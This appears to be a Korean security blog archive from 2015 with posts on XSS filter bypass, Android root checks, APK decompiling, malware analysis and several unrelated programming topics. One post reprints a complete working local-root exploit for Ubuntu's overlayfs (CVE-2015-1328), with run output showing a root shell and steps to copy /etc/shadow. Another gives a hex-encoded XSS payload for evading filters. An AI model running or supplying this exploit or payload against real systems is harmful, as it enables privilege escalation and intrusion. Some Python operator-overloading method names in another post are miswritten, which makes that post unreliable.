6/26/2015

[WEB HACKING] HEX Encoding을 이용한 XSS 필터링 우회

웹 취약점 분석 중 가장 많이 발견되는 XSS 취약점에 관한 이야기입니다.
대체로 쉽게 필터링 없이 들어가는 사례도 많았지만 분석했던 대다수의 서비스는 강한 필터링이 적용되어 있었습니다.
그러나 이 필터링에도 규칙이 존재하며 해커는 필터링 규칙을 파악할 시 쉽게 우회가 가능합니다.

여러가지 우회 상황 중 이번에는 HEX Encoding 을 통한 필터링 우회를 볼까합니다.

1. HEX Encoding이란?

HEX 인코딩은 "&#x" 문자열을 통해 웹에서 hex 데이터를 표현하는 방법입니다. 편하게 부르기 위해 hex 인코딩이라 칭하지만
대부분의 인코딩 디코딩 툴에서는 HTML 으로 표기하는 경우가 많습니다.

2. 간단한 XSS 필터 및 일반적인 XSS 구문 삽입 


원리는 간단합니다. A를 나타내는 hex 값인 41에 &#x를 붙여주게 되면 &#x41 즉 텍스트 A를 의미하게 됩니다.
대부분의 XSS 필터는 입력값에 대해 특수문자를 < > 등으로 변환하여 공격자가 스크립트를 사용할 수 없도록 하는데요,
이러한 필터링 부분이 사용자 입력에 대해 검증한다면 공격자는 인코딩된 데이터를 이용해 필터링 규칙을 우회할 수 있습니다.

예를들어 아래와 같이 XSS 필터링 함수가 구현되어 있다고 생각해봅시다.

<?
 function XSSFilter($inputString)
 {
  $output = str_replace("<","&lt;",$inputString);
  $output = str_replace(">","&gt;",$output);
  return $output;
 }
?>

<?

 $sqlIn = $_GET['title'];
 $sqlIn = XSSFilter($sqlIn);
 db_connect($sqlIn);  // 뭐 이런식으로 있다고 가정합시다.

?>


대충 써내려간 코드라 아마 실제로 실행 안될수도 있습니다..

아무튼 위와 같은 경우에서는 get으로 title 파라미터에 값을 전송하여 db_connect를 통해 게시글에 글을 쓴다고 했을 때
< > 문자열에 대해서 필터링 되어 들어가게 됩니다. 대부분의 게시판은 태그 사용이 필요하기 때문에 주로 삽입 구간에서 XSS 필터를 적용합니다.

/?title=<script>alert(45)</script>   와 같은 형태로 공격구문을 넣었을 때 게시글에는 필터링되어 아래와 같이 나타나게 될 것입니다.

&lt;script&gt;alert(45)&lt;/script&gt;

3. HEX Encoding 을 통한 XSS


위에서 했던 방법과는 약간 다른 방법으로 XSS 구문 삽입을 시도해보겠습니다.
동일하게 title 파라미터에 스크립트 구문을 넣지만, hex 형태로 넣어보겠습니다.

/?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E;     // & 는 파라미터 구분자이기 때문에 URL 인코딩을 적용해야합니다.
                                                                   // GET으로 전송 시 URL 인코딩이 자동으로 적용되지만 &, # 같은 특수기호는 직접  인코딩을 해줘야합니다.
/?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E;    

위와 같이 전송 시 아까 만든 XSSFilter 함수는 str_replace 함수에서 문자열들이 걸러지지 않습니다.
이대로 DB 저장 후 게시판 같은 곳에서 노출이 될 때 hex 인코딩이 풀어져 나타난다면 아래와 같이 완전한 스크립트 구문이 나타납니다.

<script>alert(45)</script>

4. XSS 우회

사실 XSS 우회 방법에 대해서는 정해진게 없다고 생각됩니다. 기본적으로 인코딩이 많이 알려져 있지만 실제로 가장 중요하다고 생각되는건
XSS 필터 함수의 규칙인 것 같습니다. BBT(BlackBoxTest)에서는 코드를 볼 수 없기 때문에 반복적인 테스트와 추측 등을 통해 규칙을 유추하고
그 안에서 헛점을 찾아 규칙을 우회하여야만 XSS 공격에 성공할 수 있습니다.

다른 해킹기법도 마찬가지이지만 웹 해킹은 쉽게 접하기 좋고 그만큼 굉장히 큰 리스크를 가지고 있습니다.
업무를 통해 법적인 부분이 해결되거나, 공부 목적으로 직접 구축한 서비스에서 테스트를 하는건 공격기술 연구에 좋습니다만
서비스되고 있는 사이트에 연습하는 행위는 엄연히 불법이고 웹 사이트에 글씨 띄우는건 자랑이 아니니 무리하지 말고 공부하세요.  :)



Share: | Coffee Me:

[ANDROID] 안드로이드 루팅 여부 확인하기

다수의 모바일 악성코드는 사용자 디바이스의 루팅 여부를 확인하는 경우가 많습니다.
추가적인 root exploit 없이 쉽게 root 권한을 사용할 수 있으며, root 권한을 통해 안드로이드 OS에서 통제하지 못하는 부분에 대해서도 작업이 가능하기 때문입니다.

ANROID Rooting 확인하기


APK에서 루팅 여부를 검증하는 방법은 간단합니다. su(switch user) 를 통해 리눅스에서 사용자 권한 전환 or root 권한 전환을 하듯이 안드로이드에서도
루팅 후 su 명령을 통해 root 권한을 획득하게 됩니다.

try {
    Runtime.getRuntime().exec("su");
} catch ( Exception e) {
    Log.d("root", "not rooting");
}

Runtime.getRuntime().exec 명령을 통해 su 를 실행하였을 때 루팅이 되어있다면 에러가 없을것이고, 루팅이 되지 않았다면 Execption 으로 catch 문에
걸릴것입니다.

또한 시스템 내 su 파일이 존재하는지 확인하는 방법도 있습니다.

/system/bin/su
/system/xbin/su
/system/app/superuser.apk
/data/data/com.noshufou.android.su

위와 같이 su 파일이나 루팅 어플(superuser)에 대한 확인을 통해 루팅 여부 확인이 가능합니다.
공격자는 su 명령 실행, path 확인 후 루팅 시 원하는 작업을 진행하고, 비 루팅 시 root 권한을 따내는 exploit 을 사용하는 형태로
apk 를 작성하여 사용자를 공격할 수 있습니다.

개발적인 측면에서도 개발한 app의 보안성을 위해 rooting 여부를 확인하는 어플도 다수 존재합니다. 물론 완전하게 확인할 수 있다고는 못할 것 같습니다.
충분히 루팅 여부 확인에 대해서 우회가 가능할 수 있지만 일반적으로 어느정도는 예방할 수 있습니다.
Share: | Coffee Me:

6/22/2015

[ANDROID] JAD(Java Decompiler)를 이용한 Android APK Decompile

악성 안드로이드 APK 분석 시 많이 사용되는 툴인 jad에 관한 이야기를 할까 합니다.
제 기억 중 jad 는 주로 dex2jar 를 통해 디컴파일하여 분석하는 과정 중 디컴파일이 불가능한 부분(ERROR 노출)을 java 코드로
변환하여 확인하기 위해 많이 사용하였습니다.

jad(wiki /https://en.wikipedia.org/wiki/JAD_(JAva_Decompiler))
Jad (Java Decompiler) is an as of August 2011 unmaintained decompiler for the Java programming language. Jad provides a command-line user interface to extract source code from class files.

1. JAD 설치(Download & Install JAD)

jad 설치 시 별도의 공식 홈페이지를 찾기 어려웠습니다. 그리하여 wiki 등록된 url 을 이용하여 jad 를 다운로드 합니다.
wiki 우측 하단에 website 부분에 original jad site including downloads 를 이용하였습니다.
(https://web.archive.org/web/20080214075546/http://www.kpdus.com/jad.html#download)

각 OS 버전에 맞게 다운로드 받아 사용하지면 됩니다. 실행파일로 제공되며 실행 시 아래와 같이 usage가 나타납니다.

#jad

Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov (kpdus@yahoo.com).
Usage:    jad [option(s)] <filename(s)>
Options: -a       - generate JVM instructions as comments (annotate)
         -af      - output fully qualified names when annotating
         -b       - generate redundant braces (braces)
         -clear   - clear all prefixes, including the default ones
         -d <dir> - directory for output files
         -dead    - try to decompile dead parts of code (if there are any)
         -dis     - disassembler only (disassembler)
         -f       - generate fully qualified names (fullnames)
         -ff      - output fields before methods (fieldsfirst)
         -i       - print default initializers for fields (definits)
         -l<num>  - split strings into pieces of max <num> chars (splitstr)
         -lnc     - output original line numbers as comments (lnc)
         -lradix<num>- display long integers using the specified radix
         -nl      - split strings on newline characters (splitstr)
         -noconv  - don't convert Java identifiers into valid ones (noconv)
         -nocast  - don't generate auxiliary casts
         -noclass - don't convert .class operators
         -nocode  - don't generate the source code for methods
         -noctor  - suppress the empty constructors
         -nodos   - turn off check for class files written in DOS mode
         -nofd    - don't disambiguate fields with the same names (nofldis)
         -noinner - turn off the support of inner classes
         -nolvt   - ignore Local Variable Table entries (nolvt)
         -nonlb   - don't insert a newline before opening brace (nonlb)
         -o       - overwrite output files without confirmation
         -p       - send all output to STDOUT (for piping)
         -pa <pfx>- prefix for all packages in generated source files
         -pc <pfx>- prefix for classes with numerical names (default: _cls)
         -pe <pfx>- prefix for unused exception names (default: _ex)
         -pf <pfx>- prefix for fields with numerical names (default: _fld)
         -pi<num> - pack imports into one line using .* (packimports)
         -pl <pfx>- prefix for locals with numerical names (default: _lcl)
         -pm <pfx>- prefix for methods with numerical names (default: _mth)
         -pp <pfx>- prefix for method parms with numerical names (default:_prm)
         -pv<num> - pack fields with the same types into one line (packfields)
         -r       - restore package directory structure
         -radix<num>- display integers using the specified radix (8, 10, or 16)
         -s <ext> - output file extension (default: .jad)
         -safe    - generate additional casts to disambiguate methods/fields
         -space   - output space between keyword (if, while, etc) and expression
         -stat    - show the total number of processed classes/methods/fields
         -t<num>  - use <num> spaces for indentation (default: 4)
         -t       - use tabs instead of spaces for indentation
         -v       - show method names while decompiling

사용하기 쉽게 bashrc 파일에 설정하여 사용하시면 편합니다. (리눅스 기준)

2. jad가 필요할 때(why do need jad?)

여러 목적으로 jad 가 사용되겠지만 이 글에서는 주로 안드로이드 apk 분석 시 jad 가 필요한 사항에 대해 다룰까합니다.
dex2jar 를 통해 apk 파일을 디컴파일 후 jd-gui 를 통해 코드를 보는 중 // INTERNAL ERROR // 같은 메시지를 만나게 될 때가 있습니다.
해당 메시지는 dex2jar , jd-gui 를 통해서는 확인이 불가능한 부분이며, 내부 코드에서도 에러 발생으로 확인 불가능한 부분이 있습니다.


3. jad를 이용한 java 코드로 디컴파일(Android decompile using JAD)

// INTERNAL ERROR // 가 발생한 경로, 파일명을 잘 기억하신 후 터미널을 통해 해당 디렉토리로 이동합니다.

# jad -sjava CODEBLACKSyncData.class
Parsing CODEBLACKSyncData.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating CODEBLACKSyncData.java

-sjava 옵션을 이용하여 class 파일을 디컴파일 시 디렉토리 하위에 java 파일이 생기게 됩니다.

-s option : 생성할 파일 타입 / output file extension (default: .jad) 

해당 자바파일을 에디터로 읽어보면 아래와 같이 정상적인 java 파일로 변환됨을 확인할 수 있습니다.
(아래 코드는 테스트를 위해 임의로 변경한 코드입니다.)

#vim CODEBLACKSyncData.java

 1 // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
  2 // Jad home page: http://www.geocities.com/kpdus/jad.html
  3 // Decompiler options: packimports(3)
  4
  5 package com.pace.cjkx.bluetooth;
  6
  7
  8
  9    
 10
 11 public class CODEBLACKSyncData
 12 {
 13
 14     public CODEBLACKSyncData()
 15     {
 16     }
 17
 18     public static int AIM_ID = 0;
 19     public static final int AUTOERASE_MASK = 0x10000000;

Share: | Coffee Me:

6/17/2015

[EXPLOIT] overlayfs local root exploit (CVE-2015-1328 / ubuntu kernels < 2015-06-15)

최근 케노니컬 사 홈페이지 및 Exploit-db 를 통해서 공유된 취약점입니다.
2015-1328은 Ubuntu 12.04, 14.04, 14.10, 15.04 등 6/15일 이전 커널에서 동작하며 overlayfs 를 사용할 때 권한 상승이 가능한 취약점이며 해당 취약점을 통해 공격자가 쉽게 관리자 권한(root) 획득이 가능합니다.

우분투에서 overlayfs 사용 중 상단 파일 시스템 디렉토리에서 파일 생성 시 overlayfs 가
파일 권한에 대해 제대로 확인하지 않아 발생합니다. FS_USERNS_MOUNT 플래그가 "CONFIG_USER_NS = y"를 가진 권한이 없는 프로세스에 의해 악용이 가능합니다.

1. Exploit Code


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

2. Run Exploit Code

hahwul# ./rootshell
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
#

-----------------------------------------------------------------------
Example of creating a 1:1 copy of a root-owned file:

(Note that the workdir= option is not needed on older kernels)

user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# mv shadow copy_of_shadow
(exit the namespace)
user () ubuntu-server-1504:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
user () ubuntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d      Inode: 939791      Links: 1
Device: 801h/2049d      Inode: 277668      Links: 1

Now we can place this file in /etc by switching "upper" to be the lowerdir
option, the permission checks pass since the file is owned by root and root
can write to /etc.

user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# chmod 777 copy_of_shadow
root () ubuntu-server-1504:~/o# exit
user () ubuntu-server-1504:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow

The attached exploit gives a root shell by creating a world-writable
/etc/ld.so.preload file. The exploit has been tested on the most recent
kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.

It is also possible to list directory contents for any directory on the system
regardless of permissions:

nobody () ubuntu-server-1504:~$ ls -al /root
ls: cannot open directory /root: Permission denied
nobody () ubuntu-server-1504:~$ mkdir o upper work
nobody () ubuntu-server-1504:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
nobody () ubuntu-server-1504:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ?    ?          ?            ? .bash_history
-????????? ? ?    ?          ?            ? .bashrc
d????????? ? ?    ?          ?            ? .cache
-????????? ? ?    ?          ?            ? .lesshst
d????????? ? ?    ?          ?            ? linux-3.19.0
(http://seclists.org/oss-sec/2015/q2/717)


Share: | Coffee Me:

6/16/2015

[JSP] install tomcat7(jsp) on debian / set port

1. tomcat 설치 

jdk 설치 후 apt 패키징 매니저를 이용하여 tomcat 을 설치한다.
# apt-get install tomcat7


2. 포트번호 수정(set port number)

tomcat 설정 디렉토리로 이동 후 server.xml 파일 수정을 통해 포트를 변경한다.
# cd /etc/tomcat7/
# vim server.xml

 72     <Connector port="8001" protocol="HTTP/1.1"
 73                connectionTimeout="20000"
 74                URIEncoding="UTF-8"
 75                redirectPort="8443" />

tomcat 서버 재 시작
# /etc/init.d/tomcat7 restart

or

# ervice tomcat7 restart

write source code
/var/lib/tomcat7/webapps/ROOT
#cd /var/lib/tomcat7/webapps/ROOT
vim test.jsp



Share: | Coffee Me:

6/14/2015

[Malware] Duqu2.0 - A sophisticated cyber-attack tools(정교한 사이버 공격도구 duqu2 살펴보기)

혹시 예전에 이슈가 되었던 Duqu, Stuxnet 에 대해 기억하시나요?
산업시설에 대해 공격하고 파괴하여 해킹/보안 업계에서 꾀 유명해진 바이러스입니다.


최근 다시 수면으로 떠오르고 있는 이야기 중 Duqu에 관련된 이야기가 있습니다.
3가지의 제로데이 취약점을 이용한 Duqu2.0 로 유명한 보안회사인 카스퍼스키랩 또한 2015년도 봄에 내부시스템에 영향이 있었다고 알려지고 있습니다.

기존 APT(Advanced Persistent Threat) 와 비교하여 훨씬 미래 지향적인 APT Malware 로 알려져 있습니다.



Duqu2.0은 MS 제로데이를 사용하며 최근 패치된 CVE-2015-2360 취약점을 이용한다고 합니다.

2015-2360은 win32k.sys Kernel-mode drivers 가 포함된 윈도우 계열 시스템에서 동작하며 조작된 Application 을 통해 서비스거부(memory corruption) 및 권한 상승이 가능한 Local 취약점입니다.

재미있는 특징은 시스템에 파일을 남기지 않는다는 것 입니다. 메모리에서 상주하며 계속 감염시켜 생존하는 것으로 보입니다.


1. Duqu2.0 특징


Duqu2.0 은 내부 문자열에 대해서 XOR 난독화를 한다고 합니다. 난독화를 통해 역공학 시 데이터의 노출을 최소화 합니다.

또한 Duqu2.0 의 설정은 AES로 Encrypt 되기 때문에 기본적인 흐름 분석 이외에도 키를 찾아 부분적인 해독화가 필요하다고 합니다.



aeswrapper *aeswrapper::initialize(aeswrapper *this, buffer *data, char*key)
{
    unsigned int i;
    char key_[32];
    this->data = data;
   
    qmemcpy(key_, key, sizeof(key_));
    AES::prepare_key(&this->aes, key_, 256);
    i = 0;
    do // 2.0에서 추가된 코드  
   {
    this->iv[i] = i ^ 0x248561EF;  // Magic value
    ++i;
    }
    while(i < 4);

   
    return this;
}

Duqu2.0 내 network 통신
 - Socket Server
    + 설정서버(Config Server) 와의 통신을 위한 17000, 17100 포트 bind
 - HTTP Client
    + 랜덤한 User-agent 사용(firefox, safari, ie etc..)
    + Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9)
 - PIPE or IPC communication

C&C IP 등의 정보는 아래 URL에서 확인 가능합니다.
https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/

Duqu MSI Struct

Duqu2.0 Struct - news.softpedia.com

2. Duqu & Stuxnet WIKI

Duqu is a collection of computer Malware discovered on 1 September 2011, thought to be related to the Stuxnet worm. The Laboratory of Cryptography and System Security (CrySyS Lab)[1] of the Budapest University of Technology and Economics in Hungary discovered the threat, analysed the malware, and wrote a 60-page report[2] naming the threat Duqu.[3] Duqu got its name from the prefix "~DQ" it gives to the names of files it creates


Stuxnet is a computer worm[1] that was discovered in June 2010. It was designed to attack industrial programmable logic controllers (PLCs).

PLCs allow the automation of electromechanical processes such as those used to control machinery on factory assembly lines, amusement rides, or centrifuges for separating nuclear material. Exploiting four zero-day flaws,[2] Stuxnet functions by targeting machines using the Microsoft Windows operating system and networks, then seeking out Siemens Step7 software. Stuxnet reportedly compromised Iranian PLCs, collecting information on industrial systems and causing the fast-spinning centrifuges to tear themselves apart.[3] Stuxnet’s design and architecture are not domain-specific and it could be tailored as a platform for attacking modern SCADA and PLC systems (e.g., in automobile or power plants), the majority of which reside in Europe, Japan and the US.[4] Stuxnet reportedly ruined almost one-fifth of Iran's nuclear centrifuges.

3. Reference site


https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/http://www.crysys.hu



Share: | Coffee Me:

6/13/2015

[Embeded] AM-128 ATmega SevenSegment (7세그먼트 임베디드 디바이스 개발)

학생 때 AM-128을 이용하여 임베디드 디바이스를 제어하는 프로그램 만들던 내용입니다.
오랜만에 보니깐 새롭네요.




PC USB포트와  AM-128을 연결하고 나서부터는 AVR Studio를 이용하여 보드에 프로그래밍을 할 수 있습니다.

간단한 타이머입니다.



Code - AVRGCC1.c



/*
 * AVRGCC1.c
 *
 * Created: 2013-06-13 오전 9:14:30
 */
 
#define F_CPU 16000000UL
 
#define SEVEN_LED_A 0
#define SEVEN_LED_B 1
#define SEVEN_LED_C 2
#define SEVEN_LED_D 3
#define SEVEN_LED_E 4
#define SEVEN_LED_F 5
#define SEVEN_LED_G 6
#define SEVEN_LED_DIP 7
#define SEVEN_LED_1 (1<<SEVEN_LED_B | 1<<SEVEN_LED_C)
#define SEVEN_LED_2 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_G | 1<<SEVEN_LED_E | 1<<SEVEN_LED_D )
#define SEVEN_LED_3 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_G | 1<<SEVEN_LED_C | 1<<SEVEN_LED_D )
#define SEVEN_LED_4 (1<<SEVEN_LED_F | 1<<SEVEN_LED_B | 1<<SEVEN_LED_G | 1<<SEVEN_LED_C )
#define SEVEN_LED_5 (1<<SEVEN_LED_A | 1<<SEVEN_LED_F | 1<<SEVEN_LED_G | 1<<SEVEN_LED_C | 1<<SEVEN_LED_D )
#define SEVEN_LED_6 (1<<SEVEN_LED_A | 1<<SEVEN_LED_F | 1<<SEVEN_LED_G | 1<<SEVEN_LED_E | 1<<SEVEN_LED_D | 1<<SEVEN_LED_C)
#define SEVEN_LED_7 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_C )
#define SEVEN_LED_8 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_C | 1<<SEVEN_LED_D | 1<<SEVEN_LED_E | 1<<SEVEN_LED_F | 1<<SEVEN_LED_G )
#define SEVEN_LED_9 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_G | 1<<SEVEN_LED_F | 1<<SEVEN_LED_C | 1<<SEVEN_LED_D )
#define SEVEN_LED_0 (1<<SEVEN_LED_A | 1<<SEVEN_LED_B | 1<<SEVEN_LED_C | 1<<SEVEN_LED_D | 1<<SEVEN_LED_E | 1<<SEVEN_LED_F )
 
#define SEVEN_DIG1 PF7
#define SEVEN_DIG2 PF6
#define SEVEN_DIG3 PF5
#define SEVEN_DIG4 PF4
 
#define MAXNUMBER 9999
#include <util/delay.h>
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/io.h>
 
unsigned short count = 0;
volatile unsigned long timer0;
 
int SevenSegment_Manager();
 
int main(void)
{
 
        // Initializing PORTs
        DDRF = 1<<PF0 | 1<<PF1 | 1<<PF2 | 1 << PF3 | 1<<PF4 | 1<<PF5 | 1<<PF6| 1 << PF7;
        DDRC = 0xFF;
 
        TCCR0 |= 1<<CS01 | 1<<CS02;//256 Prescale
 
        TIMSK |= 1<<TOIE0;// Timer0 Interrupt Enable
 
        sei();
 
        while (1)
        {
                SevenSegment_Manager();
        }
 
        return 0;
}
 
ISR(TIMER0_OVF_vect)
{
        timer0++;// the value increases by 256 in a second.
 
 
        //if( timer0 % 256 == 0){
        if( timer0 % 25 == 0){
                count++;
 
                if( count>MAXNUMBER)
                        count=0;
        }
 
        if( timer0 % 256 == 0)
        {
                PORTF ^= 0x01;
        }
}
int SevenSegment_Manager()
{
        int i;
        int count_value;
        int compare;
 
        count_value=count;
 
        for(i=0; i<4; i++)
        {
                switch(i)
                        {
                        case 0:
                        PORTF = ~(1<<SEVEN_DIG1);
                        compare = count_value%10;
                        break;
                        case 1:
                        PORTF = ~(1<<SEVEN_DIG2);
                        compare = (count_value%100)/10;
                        break;
                        case 2:
                        PORTF = ~(1<<SEVEN_DIG3);
                        compare = (count_value%1000)/100;
                        break;
                        case 3:
                        PORTF = ~(1<<SEVEN_DIG4);
                        compare = (count_value/1000);
                        break;
                        }
                switch(compare)
                {
                        case 0:
                                PORTC = SEVEN_LED_0;
                                break;
                        case 1:
                                PORTC = SEVEN_LED_1;
                                break;
                        case 2:
                                PORTC = SEVEN_LED_2;
                                break;
                        case 3:
                                PORTC = SEVEN_LED_3;
                                break;
                        case 4:
                                PORTC = SEVEN_LED_4;
                                break;
                        case 5:
                                PORTC = SEVEN_LED_5;
                                break;
                        case 6:
                                PORTC = SEVEN_LED_6;
                                break;
                        case 7:
                                PORTC = SEVEN_LED_7;
                                break;
                        case 8:
                                PORTC = SEVEN_LED_8;
                                break;
                        case 9:
                        PORTC = SEVEN_LED_9;
                                break;
                }
 
                _delay_ms(3);
        }
 
return 0;
    }
Share: | Coffee Me:

Operator Overloading for Python Code(파이썬에서의 연산자 중복)

연산자 중복 정의에 관련된 내용입니다. 저의 이전 블로그(noon.tistory.com)에서 포스팅했던 내용이고 C++로 구현했던 걸 python 으로 재 구현했던 내용입니다.

1. 연산자 중복(operator overloading)


아무튼 파이썬에서는 연산자 중복을

수치 연산자를 중복해서 사용해 연산자를 중복시킬 수 있습니다.

__ADD__(self,other)      +  연산
__SUB__(self,other)      -  연산
__mul__(self,other)      *  연산
__truediv__(self,other)      /  연산
_mod__(self,other)      %  연산
__lshift__(self,other)      << 연산
__rshift__(self,other)      >>  연산
__and__(self,other)      &  연산
__or__(self,other)      |  연산
__xor__(self,other)      ^  연산
__abs__(self,other)      abs()  연산

위 연산자 이외에도 더 있으며  클래스 내에서 이 연산자를 정의하게 되면
연산자 사용시 그에따른 행동을 수행하게 됩니다.

2.Operator Overloading Code(Python)


class GString:  # 클래스 선언
    def __init__(self,init = None): # 생성자
        self.content = init
  
    def __sub__(self,str): # -  연산자 정의
        for i in str:
            self.content = self.content.replace(i,'')  
        return GString(self.content)
      
    def Remove(self,str):
        return self.__sub__(str)
      
    def __abs__(self):
        return GString(self.content.upper())
      
      
    def Print(self):
        print(self.content)

g = GString("Hello Debian")
g.Print()
g -= "Debian"
g.Print()

Share: | Coffee Me:

6/11/2015

Javascript 코드 난독화(Code Obfuscation)와 JS Packing

코드 난독화란 코드를 쉽게 알아볼 수 없도록 만드는 기술이다.
쉽게 생각하면 "int a = 123" 이란 코드를 "int a = ((123+34+350-34-350)*0)+123" 같이 좀 더 알아보기 어렵게 만드는 기술이다.
물론 위의 대충 쓴 코드는 쉽게 볼 수 있지만 escape, unescape 함수 등을 이용해서 코드가 눈에 잘 들어오지 않도록 만들 수 있다.

난독화 방법도 매우 많고 난독화를 도와주는 프레임워크, 툴도 매우 많다.
그 중 아주 가볍게 몇개만 적어보았고, 쉽게 Packing 을 할 수 있는 사이트 하나를 더 소개하도록 하겠다.



1. escape, unescape 함수(URL 인코딩)

escape 함수는 url 인코딩을 지원하는 함수이다.

<html>
<body>
<script>document.write(escape('CODE==BLACK'))</script>
</body>
</html>

#Output : CODE%3D%3DBLACK

2. eval 함수를 이용한 Decimal 난독화

eval 함수는 javascript의 읽고 실행하는 함수이다. 해당 함수를 이용하여 숫자를 문자값으로 변환하여
코드의 내용을 숨길 수 있다.

<html>
<body>
<script>
code = "115,99,114,105,112,116";
code = eval("String.fromCharCode("+code+")");
document.write(code);
</script>
</body>
</html>

#Output : script

3. 난독화에 사용되는 여러 함수들

위 eval 함수 하나만으로는 정교한 난독화가 어렵다. 분석가가 코드를 알아보기 더 힘들게 공격자는 replace, eval
